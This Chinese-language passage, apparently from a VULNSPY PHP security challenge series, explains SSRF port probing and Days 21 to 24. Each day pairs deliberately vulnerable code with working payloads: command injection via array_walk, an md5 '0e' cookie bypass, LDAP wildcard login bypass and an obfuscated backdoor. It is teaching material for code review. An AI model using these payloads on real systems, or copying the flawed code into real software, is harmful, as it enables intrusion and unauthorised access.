错误的显示配置加上'<p>There was an error: ' .$e->getMessage() . '</p>'就导致会在页面上显示所有的信息,包括warning信息。

正常情况下,如果使用file_get_contents('http://127.0.0.1:80')显示的仅仅只是warning信息,在正常的PHP页面中是不会显示warning信息的。但是在开启了上述的配置之后,所有的信息都会在页面上显示。这样就导致我们可以通过SSRF来探测内网的端口和服务了。例如:

  1. payload可以写为:img=http://127.0.0.1:22,如果出现了There was an error: file_get_contents(http://127.0.0.1:22): failed to open stream: HTTP request failed! SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.2,则表示存在openssh的服务。
  2. payload为img=http://127.0.0.1:25,如果出现了There was an error: file_get_contents(http://127.0.0.1:25): failed to open stream: HTTP request failed! 220 ubuntu ESMTP Sendmail 8.15.2/8.15.2/Debian-3; Tue, 26 Dec 2017 07:43:45 -0800; (No UCE/UBE) logging access from: localhost则表示存在SMTP。
  3. 如果通过payload访问不存在的端口,img=http://127.0.0.1:30,出现了There was an error: file_get_contents(http://127.0.0.1:30): failed to open stream: Connection refused,则表明30端口没有服务。

所以通过这种方式就能够有效地探测内网端口服务了。

Day 21 - Gift Wrap

你能从下列代码中发现安全漏洞吗?

declare(strict_types=1);

class ParamExtractor {
    private $validIndices = [];

    private function indices($input) {
        $validate = function (int $value, $key) {
            if ($value > 0) {
                $this->validIndices[] = $key;
            }
        };

        try {
            array_walk($input, $validate, 0);
        } catch (TypeError $error) {
            echo "Only numbers are allowed as input";
        }

        return $this->validIndices;
    }

    public function getCommand($parameters) {
        $indices = $this->indices($parameters);
        $params = [];
        foreach ($indices as $index) {
            $params[] = $parameters[$index];
        }
        return implode($params, ' ');
    }
}

$cmd = (new ParamExtractor())->getCommand($_GET['p']);
system('resizeImg image.png ' . $cmd);

这是一道在运行在php7上的题目,题目本上的考察点比较少见,主要是利用了array_walk()的一个bug。php是一个弱类型的语言,在传入参数时并不会进行类型检查,甚至有时候还会进行隐式类型转换,很多时候由于开发人员的疏忽就会导致漏洞产生。在php7中就引入了declare(strict_types=1);这种声明方式,在进行函数调用的时候会进行参数类型检查。如果参数类型不匹配则函数不会被调用,这种方式就和诸如Java这类强类型的语言就是一样的了。如下:

declare(strict_types=1);
function addnum(int $a,int $b) {
    return $a+$b;
}
$result = addnum(1,2);
var_dump($result);              // 输出3
$result = addnum('1','2');
var_dump($result);              //出现Fatal error: Uncaught TypeError,Argument 1 passed to addnum() must be of the type integer, string given,程序出错,参数的数据类型不匹配

按照php7的这种类型,那么最后通过validate()函数的就只有参数是大于0的,这样看来本题目是没有问题的。但是本题的关键是在于使用了array_walk()来调用validate函数。通过array_walk()调用的函数会忽略掉严格模式还是按照之前的php的类型转换的方式调用函数。。如下:

declare(strict_types=1);
function addnum(int &$value) {
    $value = $value+1;
}
$input = array('3a','4b');
array_walk($input,addnum);
var_dump($input);

最后得到的input数组是array(4,5),所以说明了在使用array_walk()会忽略掉类型检查。

那么在本题目中,由于array_walk()的这种特性,导致我们可以传入任意字符进去,从而也可以造成命令执行了。最后的payload可以是?p[1]=1&p[2]=2;%20ls%20-la

Day 22 - Chimney

你能从下列代码中发现安全漏洞吗?

if (isset($_POST['password'])) {
    setcookie('hash', md5($_POST['password']));
    header("Refresh: 0");
    exit;
}

$password = '0e836584205638841937695747769655';
if (!isset($_COOKIE['hash'])) {
    echo '<form><input type="password" name="password" />'
       . '<input type="submit" value="Login" ></form >';
    exit;
} elseif (md5($_COOKIE['hash']) == $password) {
    echo 'Login succeeded';
} else {
    echo 'Login failed';
}

这道题目在各大CTF训练题中进场会见到,算是一道比较简单的题目。在本题中考察点有两个:

  1. $_COOKIE中的内容是客户端可控的
  2. 在php中以0e数字这样形式的变量会被以科学计数法的方式进行解析,如$mytext1 = "0e23456";$mytext2 = "0e789";var_dump($mytext1==$mytext2);返回是true

在本题目中,进行比较运算的是md5($_COOKIE['hash']) == $password,其中的$password是0e836584205638841937695747769655。所以只需要找一个md5()之后是0es数字形式的即可,例如hash为s878926199a就满足要求。

所以最后的payload是Cookie:hash=s878926199a

Day 23 - Cookies

你能从下列代码中发现安全漏洞吗?

class LDAPAuthenticator {
    public $conn;
    public $host;

    function __construct($host = "localhost") {
        $this->host = $host;
    }

    function authenticate($user, $pass) {
        $result = [];
        $this->conn = ldap_connect($this->host);    
        ldap_set_option(
            $this->conn,
            LDAP_OPT_PROTOCOL_VERSION,
            3
        );
        if (!@ldap_bind($this->conn))
            return -1;
        $user = ldap_escape($user, null, LDAP_ESCAPE_DN);
        $pass = ldap_escape($pass, null, LDAP_ESCAPE_DN);
        $result = ldap_search(
            $this->conn,
            "",
            "(&(uid=$user)(userPassword=$pass))"
        );
        $result = ldap_get_entries($this->conn, $result);
        return ($result["count"] > 0 ? 1 : 0);
    }
}

if(isset($_GET["u"]) && isset($_GET["p"])) {
    $ldap = new LDAPAuthenticator();
    if ($ldap->authenticate($_GET["u"], $_GET["p"])) {
        echo "You are now logged in!";
    } else {
        echo "Username or password unknown!";
    }
}

本题主要是ldap的登录验证的代码,但是由于过滤函数使用不当而导致的任意用户登录的漏洞。

在题目中使用的过滤函数是ldap_escape($user, null, LDAP_ESCAPE_DN)。php手册上对第三个参数的说明如下:

The context the escaped string will be used in: LDAP_ESCAPE_FILTER for filters to be used with ldap_search(), or LDAP_ESCAPE_DN for DNs

当使用ldap_search()时需要选择LDAP_ESCAPE_FILTER过滤字符串,但是本题中选择的是LDAP_ESCAPE_DN,这样就导致过滤无效。那么最后通过传入u=*&p=123456这种方式就可以绕过验证。

Day 24 - Nutcracker

你能从下列代码中发现安全漏洞吗?

@$GLOBALS=$GLOBALS{next}=next($GLOBALS{'GLOBALS'})
[$GLOBALS['next']['next']=next($GLOBALS)['GLOBALS']]
[$next['GLOBALS']=next($GLOBALS[GLOBALS]['GLOBALS'])
[$next['next']]][$next['GLOBALS']=next($next['GLOBALS'])]
[$GLOBALS[next]['next']($GLOBALS['next']{'GLOBALS'})]=
next(neXt(${'next'}['next']));

这道题目是Hack.lu CTF 2014: Next Global Backdoor上的一道题目,具体的解答可以看Hack.lu CTF 2014: Next Global Backdoor,也有一篇中文文章的介绍Hack.lu 2014 Writeup

这里就不进行详细的说明了,大家有兴趣可以自行研究。但是这种写法也仅仅只会出现在CTF中,在实际的项目中很少会出现这样的代码。

REFERENCE

All rights reserved. © 2018 VULNSPY